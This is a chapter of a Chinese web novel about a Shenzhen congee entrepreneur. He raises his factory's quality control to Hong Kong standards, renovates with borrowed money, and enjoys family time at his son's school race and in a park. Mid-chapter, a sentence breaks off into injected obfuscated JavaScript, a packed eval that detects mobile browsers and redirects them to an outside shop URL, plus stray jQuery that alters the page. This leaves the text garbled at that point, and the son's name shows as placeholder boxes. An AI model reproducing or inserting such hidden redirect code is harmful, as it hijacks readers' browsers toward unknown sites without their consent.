黄秀英去香港那天，深圳下着小雨。


    陈永福送她到罗湖口岸。早晨七点，关口已经排起长队。大多是去香港进货的商贩，拖着大包小包，用各种口音交谈。


    “到了就打电话。”陈永福把通行证递给黄秀英，“郑先生会派人接你。”


    “嗯。”黄秀英接过一个小旅行袋，“哥，你放心。”


    “学习笔记要做好，特别是质检流程。”


    “我带了三个本子。”


    陈永福看着黄秀英一瘸一拐地走向检查口，心里不是滋味。这姑娘脚还没好利索，就要去香港奔波。


    但没办法。质量出了问题，必须解决。


    从口岸回来，陈永福直接去工厂。质检员老张已经等在办公室门口，眼睛红红的，像一夜没睡。


    “老板，我……”


    “进去说。”


    办公室里，小林也在。桌上摊着那三包漏气的料包，包装袋瘪瘪的，像泄了气的皮球。


    陈永福拿起一包，对着光看。封口处有极小的裂缝，不仔细看发现不了。


    “这种问题，怎么检出来的？”陈永福问。


    “要用手捏，感觉有没有漏气。”老张说，“但昨天赶工，捏得不仔细。”


    “现在这批货在香港全检，费用我们出。”陈永福说，“老张，你知道多少钱吗？”


    老张摇摇头。


    “人工费加场地费，最少一千。”陈永福说，“这钱，要从你工资里扣。”


    老张脸色一白，但没说话。


    “当然，不全怪你。”陈永福说，“我也有责任。赶工赶急了，没把好关。但咱们得长记性。”


    “老板，我保证以后不会了。”


    “光保证没用，得改流程。”陈永福对小林说，“从今天起，所有产品出厂前，必须三道质检：生产线上检一遍，包装后检一遍，装箱前再抽检一遍。”


    “那得多招人。”


    “招。”陈永福说，“宁可少生产，不能出次品。”


    安排完这些，陈永福去车间。工人们已经知道质量出问题的事，有些紧张。


    “大家听我说。”陈永福站在车间中央，“昨天那批货出问题，是我的责任。我太急了，催大家赶工，没把好质量关。”


    工人们安静地听着。


    “但咱们得改。”陈永福说，“从今天起，速度可以慢点，但质量必须好。谁发现质量问题，奖励。谁出的质量问题，处罚。明白吗？”


    “明白了。”稀稀拉拉的回答。


    “大声点！”


    “明白了！”


    陈永福点点头：“好，干活吧。”


    回到办公室，小林跟进来。


    “老板，新招的质检员来了两个，但都是生手，得培训。”


    “你培训，三天内要能上岗。”


    “还有，黄秀英那边来电话了，说已经到香港，见到郑先生了。”


    “好。”


    陈永福坐下，看着窗外的小雨。工厂院子里的水泥地上积着水，映着灰蒙蒙的天。远处的厂房烟囱冒着白烟，慢慢散开。


    他想起刚开厂的时候，只有一条旧生产线，每天产几百包。那时候每一包都仔细检查，像对待自己的孩子。


    现在产量大了，反倒疏忽了。


    得回到初心。


    中午，王建军来了。实验中学食堂的问题解决了，粥按标准做，学生反应好。


    “但老板，有个新情况。”王建军说，“实验中学的食堂主任说，其他学校也想跟咱们合作，问能不能供应。”


    “几所学校？”


    “三所，加起来五千多学生。”


    陈永福算了算，五千学生，就算一半人喝粥，一天也是两千五百碗。每碗赚一毛，一天二百五，一个月七千五。


    但人手不够。


    “接不了。”陈永福说，“现在工厂这边质检要加人，店里也抽不出人手。”


    “可是机会……”


    “机会是好，但咱们得量力而行。”陈永福说，“你告诉食堂主任，等我们理顺了，再谈。”


    王建军有点遗憾：“行吧。”


    下午，陈永福去零件市场买质检用的设备。按黄秀英从香港发回来的清单：电子秤、放大镜、封口测试仪……都是些他没听过的东西。


    “老板，这些都是进口货，贵。”五金店的老板说，“这个封口测试仪，德国产的，要八百。”


    “这么贵？”


    “精度高啊。”老板说，“国产的也有，两百，但不准。”


    陈永福犹豫了。八百，够发两个工人一个月工资。


    但想起香港那边挑剔的标准，咬咬牙：“要进口的。”


    “行，我给你调货，三天后到。”


    买完设备，又去书店买质检方面的书。都是些专业书籍，看不懂，但买回去让小林研究。


    回到工厂，已经是傍晚。父亲在仓库里，一个人对账。


    “阿爸，吃饭了。”


    “等会儿，马上对完了。”父亲戴着老花镜，一笔笔核对，“永福，今天出库三百箱，入库两百箱，库存还剩……”


    陈永福看着父亲花白的头发，心里一酸。父亲都六十多了，还在帮他操心。


    “阿爸，别太累了。”


    “不累。”父亲抬起头，“永福，今天我去看了临时仓库，那地方还是不行。我找到另一个地方，在笋岗那边，虽然远点，但干净通风。”


    “多少钱？”


    “一个月二百五，比现在便宜五十。”


    “那就换。”


    父亲记下：“还有件事，送货的老王说，他的三轮车坏了，想换辆小货车。”


    “多少钱？”


    “二手的，五千。”


    陈永福想了想：“买吧，送货方便。但要砍价，四千五试试。”


    “行，我去谈。”


    父子俩一起走出仓库。雨停了，天边露出一抹晚霞，红彤彤的。


    “永福，你最近太累了。”父亲说，“周日去公园，一定要去，别又找理由。”


    “一定去。”


    回到家，林玉兰已经做好饭。□□在做作业，晓梅在玩积木。


    “秀英来电话了。”林玉兰说，“说香港的质检很严格，一个料包要检七八项。她记了好多笔记，明天寄回来。”


    “那就好。”


    吃饭时，□□说：“阿爸，我决赛的衣服还没买。”


    “什么衣服？”


    “运动服啊。”□□说，“王小军买了新的，红色的，可好看了。”


    陈永福想起儿子的校运会：“行，周末带你去买。”


    “真的？”


    “真的。”


    □□高兴得饭都多吃了一碗。


    晚上，陈永福看黄秀英传真回来的笔记。密密麻麻的字，画着流程图：原料检验、生产过程控制、成品检验、包装检验……每一项都有标准，有方法。


    这才是正规做法。


    他对照自己的工厂，差得太远。


    第二天一早，陈永福召集全体工人开会。


    “从今天起，咱们要改。”陈永福拿着黄秀英的笔记，“按香港的标准来。可能会慢，可能会麻烦，但必须做。”


    他宣布新规定：


    第一，所有原料进厂必须检验，不合格的退回。


    第二，生产过程每个环节都要记录，谁做的，什么时候做的，都要写清楚。


    第三，成品要抽检，抽检比例从5%提高到10%。


    第四，包装后要逐包检查，不能漏。


    工人们议论纷纷。


    “这么麻烦，一天能出多少货？”


    “就是，还让不让人干活了。”


    陈永福提高声音：“我知道麻烦，但必须做。咱们的料包卖到香港，人家要求高。达不到标准，人家就不要了。人家不要，咱们就没生意。没生意，大家就没工开。”


    车间安静了。


    “所以，不是我要麻烦大家，是市场逼咱们提高。”陈永福说，“从现在开始，按新规矩来。谁做得好，月底发奖金。谁做不好，培训再上岗。”


    工人们你看我我看你，最后还是点头了。


    新规矩执行的第一天，产量降了三分之一。原先一天能出八千包，现在只有五千多。


    小林着急：“老板，这样下去订单赶不上。”


    “赶不上就跟客户解释，咱们在改进质量。”陈永福说，“宁可不接单，也不能出次品。”


    “可是……”


    “没有可是。”陈永福很坚决，“小林，你得转变观念。质量不是成本，是生命。”


    小林似懂非懂地点点头。


    中午，陈永福去店里看看。罗湖店的外卖自行车买回来了，是辆二八杠的永久牌，擦得锃亮。


    “老板，送餐员小刘试过了，一车能装二十碗。”店长说，“就是下雨天不方便。”


    “配雨衣雨披。”


    “好。”


    陈永福在后厨看熬粥。新来的小伙子已经能独立操作了，但火候还掌握不好。


    “火大了，调小点。”陈永福说，“粥要文火慢熬，急不得。”


    “知道了，老板。”


    从店里出来，陈永福去银行。把短期借贷的第二个月利息还了。又是六百。


    柜台里的女职员认识他：“陈老板，又还利息啊？”


    “是啊。”


    “您生意做得挺大吧？总见您来还钱。”


    “不大，刚起步。”


    还完钱，账上只剩不到一万。陈永福心里发慌，但脸上没表现出来。


    下午回工厂，黄秀英的笔记寄到了。厚厚一沓，还有几张照片。照片上是香港的食品厂，车间干净明亮，工人穿白大褂戴口罩。


    陈永福把照片贴在办公室墙上。


    “都来看看，人家是怎么做的。”


    工人们围过来看，啧啧称奇。


    “这么干净？”


    “像医院似的。”


    “那得花多少钱啊。”


    陈永福说：“咱们现在做不到这样，但可以学。从卫生做起，明天开始，上班要穿工作服，戴帽子。”


    又是一阵议论，但没人反对。


    接下来的几天，工厂慢慢适应新规矩。产量虽然没上来，但质量明显提高。抽检了三百包，没有一包漏气。


    周五，黄秀英从香港回来。整个人瘦了一圈，但眼睛亮亮的。


    “哥，我学到了。”


    她带回来更多资料：质量标准文件、检验记录表格、培训手册。还有一个小工具箱，里面是各种检验工具。


    “这个是水分测定仪，测米的水分含量。这个是酸度计，测粥的PH值……”黄秀英一一介绍。


    陈永福听得头大：“这么多讲究？”


    “香港那边，一个料包要测二十几个指标。”黄秀英说，“咱们现在只测几个，差得远。”


    “慢慢来。”


    黄秀英拿出一个本子：“哥，我写了改进方案。你看，第一步，改造车间，分区管理。第二步，培训工人，持证上岗。第三步，建立质检实验室……”


    陈永福翻看着。方案很详细，但投入也大。光是改造车间，就得花两万。


    “秀英，这些都需要钱。”


    “我知道。”黄秀英说，“但哥，不投入，就做不大。香港那边说了，如果咱们能达到他们的标准，可以长期合作，订单量翻倍。”


    “翻倍？”


    “嗯，一个月至少十万包。”


    陈永福心动了。十万包，利润就有四五万。但前提是达到标准。


    “让我想想。”


    晚上，陈永福睡不着。在床上翻来覆去，脑子里算账：改造车间两万，设备更新一万，培训费用五千……加起来三万五。


    现在账上一万，下个月回款预计两万，还差五千。


    而且改造期间要停产，至少停十天。这十天的损失又是多少？


    难。


    林玉兰轻声问：“怎么了？”


    “想事情。”陈永福把黄秀英的方案说了。


    “你怎么想？”


    “想投，但又怕。”陈永福说，“三万五，不是小数目。万一投了，效果不好，就亏大了。”


    “可不投呢？”


    “不投，就停留在现在这个水平，做不大。”


    林玉兰沉默了一会儿：“阿福，我记得你刚来深圳时，身上只有五十块钱。你跟我说，大不了从头再来。”


    陈永福


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403883|200163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想起那时候。确实，光脚不怕穿鞋的。


    “现在咱们有家有业，反而怕了。”林玉兰说，“可我觉得，该搏的时候还得搏。”


    “你不怕亏？”


    “怕，但更怕你后悔。”林玉兰说，“你要是觉得该做，就做。亏了，咱们一起扛。”


    陈永福握住妻子的手：“谢谢你，玉兰。”


    “傻子。”


    第二天，陈永福找父亲商量。


    父亲听完，抽了三支烟才说话。


    “永福，阿爸不懂这些技术。但阿爸懂一个道理：种地要舍得施肥，庄稼才能长得好。你现在是在给生意施肥。”


    “可是钱……”


    “钱可以借。”父亲说，“阿爸这里还有两千，你妈那里应该也有点。不够，去找亲戚朋友借。咱们潮汕人，一人有难，众人帮。”


    陈永福眼睛热了。


    他下定决心：改！


    周一，陈永福召集所有人开会。


    “我决定，按黄秀英的方案改造工厂。”陈永福宣布，“改造期间停产十天，工资照发。改造完后，咱们按香港的标准来生产。”


    工人们先是惊讶，然后是兴奋。谁都愿意在好环境里工作。


    “老板，我们支持你！”


    “对，咱们要做就做最好的！”


    陈永福心里热乎乎的。有这么多人支持，怕什么？


    他安排：小林负责设备采购，黄秀英负责培训，父亲负责后勤，自己总协调。


    改造工程第二天就开始了。请了装修队，把车间重新分区：原料区、生产区、包装区、检验区。墙面刷白，地面铺瓷砖，窗户换新。


    工人们也帮忙，搬设备，清垃圾，干得热火朝天。


    黄秀英开始培训。从洗手教起：怎么洗，洗多久，用什么洗。然后是穿戴：工作服怎么穿，帽子怎么戴，口罩怎么戴。


    有些老工人不习惯：“洗个手还这么多讲究？”


    “必须讲究。”黄秀英很严肃，“香港那边，进车间前要洗三遍手，指甲都要剪干净。”


    “我的天……”


    虽然抱怨，但都照做。


    陈永福忙着跑钱。找亲戚借了五千，朋友借了三千，凑够了一万八。加上自己的一万，还差七千。


    最后咬咬牙，把桑塔纳抵押了，贷了八千。


    车是去年买的，还没开够，但没办法。


    林玉兰知道后，没说什么，只是抱了抱他。


    改造进行到第五天，车间已经大变样。白墙白瓷砖，灯光明亮，机器擦得锃亮。工人们穿着统一的工作服，看起来精神多了。


    黄秀英拿着检验表，一项项检查。地面干净吗？工具摆放整齐吗？工人洗手规范吗？


    陈永福站在车间门口，看着这一切。像做梦一样。


    原来自己的工厂可以这么干净，这么正规。


    他想起香港照片上的食品厂。虽然还比不上，但在往那个方向走。


    周六，□□校运会决赛。


    陈永福答应过要去，真的去了。林玉兰也去了，带着晓梅。


    实验中学的操场很热闹。彩旗飘飘，喇叭里放着运动员进行曲。学生们坐在看台上，加油声此起彼伏。


    □□参加的一百米在下午三点。陈永福提前到了，找了个好位置。


    “阿爸，我紧张。”□□穿着新买的红色运动服，脸也红红的。


    “别紧张，就当平时训练。”陈永福说，“记住，起跑要快，中途要稳，冲刺要狠。”


    “嗯。”


    发令枪响，六个孩子像箭一样冲出去。□□在第三道，一开始就领先。


    陈永福站起来，握紧拳头。林玉兰抱着晓梅，也紧张地看着。


    最后二十米，□□保持领先，第一个冲过终点线。


    “赢了！”陈永福喊出来。


    □□喘着气，回头看成绩。第一名，12秒8。


    “阿爸，我赢了！”□□跑过来，满脸是汗，眼睛亮晶晶的。


    “好样的！”陈永福抱住儿子。


    颁奖仪式上，□□站在最高领奖台上，戴着金牌，笑得像朵花。陈永福在下面拍照，手有点抖。


    这一刻，所有的累都值了。


    回家的路上，□□一直摸着金牌。


    “阿爸，我以后要当运动员，拿世界冠军。”


    “好啊，阿爸支持你。”


    “那你得多来看我比赛。”


    “一定。”


    周日，全家真的去了公园。是中山公园，有湖有树，有儿童游乐场。


    晓梅第一次坐旋转木马，又怕又兴奋，紧紧抱着陈永福。


    □□去划船，林玉兰陪他。


    父亲母亲坐在长椅上，看着湖水，说着悄悄话。


    陈永福带着晓梅玩滑梯。晓梅咯咯笑，笑声像银铃。


    阳光很好，风很轻。湖面上有鸭子游来游去，柳树枝条垂到水里。


    这一刻，时间好像慢了。


    陈永福坐在草地上，看着家人。父亲在笑，母亲在说，妻子在招手，儿子在划船，女儿在玩沙。


    这就是他奋斗的意义。


    为了这些笑脸，这些时刻。


    再累也值。


    傍晚回家，大家都累了，但高兴。


    晚饭后，陈永福去工厂看看。改造已经完成，明天就可以试生产。


    车间里静悄悄的，只有安全灯亮着。新刷的墙，新铺的地，新装的灯。一切都准备好了。


    他走到生产线前，摸了摸机器。


    “老伙计，明天看你的了。”


    机器沉默着，但好像在回应。


    窗外的深圳，万家灯火。


    这座城市，每天都在变。他也在变。


    从推车卖粥，到小店，到工厂，到现在要按香港标准生产。


    一步一个脚印。


    虽然慢，但稳。


    明天，又是新的一天。


    改造后的第一天生产。


    他要亲自熬第一锅粥。


    就像五年前，在老街，熬第一锅粥那样。


    用心，用情。


    熬出好粥。


    熬出好日子。


    回家了。今天早点睡。


    明天，要早起熬粥。